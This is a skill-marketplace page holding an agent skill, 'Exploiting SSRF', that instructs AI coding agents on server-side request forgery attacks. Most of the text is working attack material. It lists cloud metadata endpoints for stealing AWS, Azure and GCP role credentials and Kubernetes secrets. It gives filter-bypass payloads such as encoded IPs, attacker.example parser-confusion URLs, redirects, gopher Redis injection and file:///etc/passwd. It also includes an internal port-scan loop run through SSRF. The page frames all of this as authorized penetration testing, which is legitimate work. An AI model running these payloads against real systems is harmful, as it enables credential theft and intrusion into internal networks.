# Exploiting Ssrf

> Find and exploit server-side request forgery — reaching cloud instance metadata on AWS IMDSv1/IMDSv2, Azure IMDS, and GCP, internal service discovery, filter and allowlist bypasses via DNS rebinding, redirects, and encoding, and blind SSRF confirmation out of band. Use when an application fetches a URL supplied by the user, when testing webhooks, importers, PDF or screenshot renderers, or when reviewing outbound HTTP calls in source.

- Skill: `trilwu/exploiting-ssrf` (Agent Skill)
- Install (CLI): `npx skillmds add trilwu/exploiting-ssrf`
- Raw SKILL.md: https://api.skillmd.com/api/skills/trilwu/exploiting-ssrf/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Product & Planning
- Author: trilwu (https://skillmd.com/u/trilwu)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/trilwu/exploiting-ssrf

---


# Exploiting SSRF

SSRF matters because of what the server can reach that you cannot: the cloud
metadata endpoint holding role credentials, internal services with no
authentication, and the container network. The vulnerability is trivial; the
work is in the bypasses and in knowing which internal target converts a
curiosity into a compromise.

Only against systems you are authorized to test.

## When to Use

- Any feature that fetches a URL: webhooks, imports, avatar-from-URL, link
  previews, PDF/screenshot generation, XML/SVG processing, file fetch by URI
- A parameter contains a URL, hostname, IP, or a path that becomes one
- Source review finds an outbound HTTP call with a user-influenced target
- Testing an integration that "calls back" to a customer-supplied endpoint

## When NOT to Use

- **Client-side request forgery (CSRF)** — different vulnerability entirely
- **The wider web methodology** — use `testing-web-applications`
- **Source review as the main task** — use `auditing-code-for-vulnerabilities`
- **Post-exploitation once you hold cloud credentials** — use
  `exploiting-cloud-platforms`
- **Actually pivoting into internal systems beyond agreed scope** — SSRF
  reaches further than most scopes intend; confirm before you traverse

## Find It First

```bash
# Parameters that are, or become, URLs
rg -n 'url|uri|src|href|path|dest|redirect|next|feed|host|domain|callback|webhook|target|image|file|proxy' --type-add 'req:*.txt' -i

# Source review: outbound calls with an influenced target
rg -n 'requests\.get|urllib|httpx|HttpClient|fetch\(|curl_exec|file_get_contents|WebClient|RestTemplate|http\.Get' -A3
```

Every SSRF test starts with an out-of-band listener, because most SSRF is
blind:

```bash
# Burp Collaborator, interact.sh, or your own DNS+HTTP logger
interactsh-client -v
# Submit http://<unique>.oast.example/ and watch for DNS and HTTP hits
```

**DNS resolution alone is a positive signal.** A DNS lookup with no HTTP
request usually means the server resolved the host and then blocked the
connection — the SSRF exists and a filter is in the way, which tells you to
move to bypasses rather than abandon the parameter.

## Cloud Metadata: The High-Value Target

```bash
# Expect IMDSv2 on any modern target. Since mid-2024 newly released EC2
# instance types are IMDSv2-only, and accounts can set IMDSv2-by-default for
# all new launches. A failed v1 GET therefore means "v1 is off", NOT "the host
# is not reachable" and NOT "no SSRF" — escalate to the v2 flow below before
# concluding anything.

# AWS IMDSv1 — a single GET, no headers (legacy instances only)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# → AccessKeyId, SecretAccessKey, Token

# AWS IMDSv2 — requires a PUT to get a token first, then a header on the GET.
# This is why IMDSv2 blocks most SSRF: a simple URL-fetch primitive cannot set
# a custom header or issue a PUT. If the SSRF proxies your full request
# (method and headers), IMDSv2 is still reachable.
PUT http://169.254.169.254/latest/api/token
    X-aws-ec2-metadata-token-ttl-seconds: 21600
GET http://169.254.169.254/latest/meta-data/...
    X-aws-ec2-metadata-token: <token>

# Azure — requires a header, similar reasoning
http://169.254.169.254/metadata/instance?api-version=2021-02-01
    Metadata: true

# GCP — requires a header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
    Metadata-Flavor: Google

# Kubernetes — the service account token is on disk, not over HTTP, but the
# API server and kubelet are reachable
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
http://<node-ip>:10250/pods
```

Credentials recovered here go to `exploiting-cloud-platforms`. Report the
finding at the severity of what the role can do, not "an internal URL was
fetched."

Also worth reaching: `http://localhost:<port>` for admin interfaces bound to
loopback, Redis and Memcached (unauthenticated by default and reachable via
`gopher://` if the client supports it), Elasticsearch on 9200, Docker's socket
via `http://localhost:2375/containers/json`, and internal CI/CD dashboards.

## Filter Bypasses

Work through these in order; the first three defeat most naive filters.

```
Alternate IP encodings for 169.254.169.254
  2852039166            decimal
  0251.0376.0251.0376   octal
  0xA9FEA9FE            hex
  ①⑥⑨.②⑤④…            unicode digits (some parsers normalize)

Alternate localhost
  127.0.0.1  127.1  127.000.000.1  0.0.0.0  0  [::1]  [::ffff:127.0.0.1]
  localtest.me   spoofed.burpcollaborator.net    (public DNS → 127.0.0.1)

DNS pointing where you want
  Register a name whose A record is 169.254.169.254 or an internal IP

URL parser confusion — the fetcher and the validator disagree
  http://expected.com@169.254.169.254/
  http://169.254.169.254#expected.com/
  http://expected.com.attacker.example/
  http://attacker.example\@expected.com/
  http://[::]:80/
  Case, trailing dots, double slashes, and %2e%2e%2f in the path

Redirect chains — validator checks the first URL, fetcher follows the 302
  https://attacker.example/redirect → 302 → http://169.254.169.254/...

Protocol smuggling, when the client supports it
  file:///etc/passwd
  gopher://127.0.0.1:6379/_SET%20key%20value      (Redis via raw TCP)
  dict://127.0.0.1:11211/stat
```

**DNS rebinding** defeats validators that resolve, check, then let the HTTP
client resolve again: return a public IP on the first lookup and an internal
one on the second. This is the bypass for "we resolve and check the IP" — the
only robust defence is to resolve once and connect to *that* address.

**Redirects are the most common miss.** Test them explicitly: a validator that
approves the initial URL and an HTTP client with `follow_redirects=True` is a
complete bypass, and it is the default configuration of most HTTP libraries.

## Blind SSRF

When you get no response body:

1. **Out-of-band confirmation** — DNS and HTTP hits prove the request happened.
2. **Timing** — an internal IP with a service responds fast; a filtered one
   hangs until timeout. That difference is a port scanner.
3. **Error differentials** — "invalid image" vs "connection refused" vs a
   timeout distinguishes open ports, closed ports, and filtering.
4. **Second-order effects** — a rendered PDF or thumbnail may contain the
   fetched content even when the HTTP response does not.

```bash
# Internal port scan by timing, one target at a time
for p in 22 80 443 3306 5432 6379 8080 9200 10250; do
  s=$(date +%s%N)
  curl -s -o /dev/null "https://target/fetch?url=http://127.0.0.1:$p/"
  echo "$p $(( ($(date +%s%N)-s)/1000000 ))ms"
done
```

Renderers deserve their own attention: an HTML-to-PDF or screenshot service
runs a full browser server-side, so an `<iframe src="http://169.254.169.254/...">`
or a `<script>fetch(...)</script>` in the submitted HTML gives you SSRF *with a
readable response* rendered into the output document.

## Rationalizations to Reject

- *"It only accepts https:// URLs on our allowlist."* Test redirects, DNS
  rebinding, and parser confusion before believing an allowlist.
- *"No response is returned, so it's not exploitable."* Blind SSRF reaching
  IMDSv1 still steals credentials, and renderers return content indirectly.
- *"We're on IMDSv2, so SSRF is mitigated."* Only against simple URL fetchers.
  A request-proxying SSRF still reaches it, and IMDSv2 does nothing for the
  rest of the internal network.
- *"It's just an internal IP, low severity."* Severity is what the internal
  target does. Enumerate before scoring.
- *"We block 169.254.169.254."* Try the encodings, a DNS record pointing there,
  and the IPv6 and link-local variants.
- *"The library validates the URL."* The library validates, then re-resolves.
  That is the rebinding gap.
- *"I'll map the whole internal network to show impact."* Confirm reachability,
  then stop and check scope. SSRF traverses further than most engagements
  authorize.

<!-- attack:start -->

## ATT&CK Coverage

_Generated from `secskills-core/ttp-index.json` — edit that file, then run
`python3 scripts/sync_attack.py --write`. Re-verify IDs against the
current ATT&CK release before citing them in a report._

**Initial Access** (TA0001)

- [T1190](https://attack.mitre.org/techniques/T1190/) Exploit Public-Facing Application — see also `testing-web-applications`, `testing-apis`, `enumerating-network-services`, `attacking-graphql`, `attacking-grpc-protobuf`, `exploiting-deserialization`, `exploiting-xxe`

**Credential Access** (TA0006)

- [T1552.005](https://attack.mitre.org/techniques/T1552/005/) Cloud Instance Metadata API — see also `exploiting-cloud-platforms`, `attacking-eks-gke-aks`

Detection content for any of these: `engineering-detections`. Proactive search: `hunting-threats`. Post-compromise: `responding-to-incidents`.

<!-- attack:end -->

## References

- `testing-web-applications` — the surrounding methodology
- `exploiting-cloud-platforms` — what to do with recovered role credentials
- `auditing-code-for-vulnerabilities` — finding the outbound call in source
- `testing-apis`, `attacking-graphql` — SSRF reached through API parameters
- Burp Collaborator, interact.sh, SSRFmap, gopherus, `nslookup`/`dig`

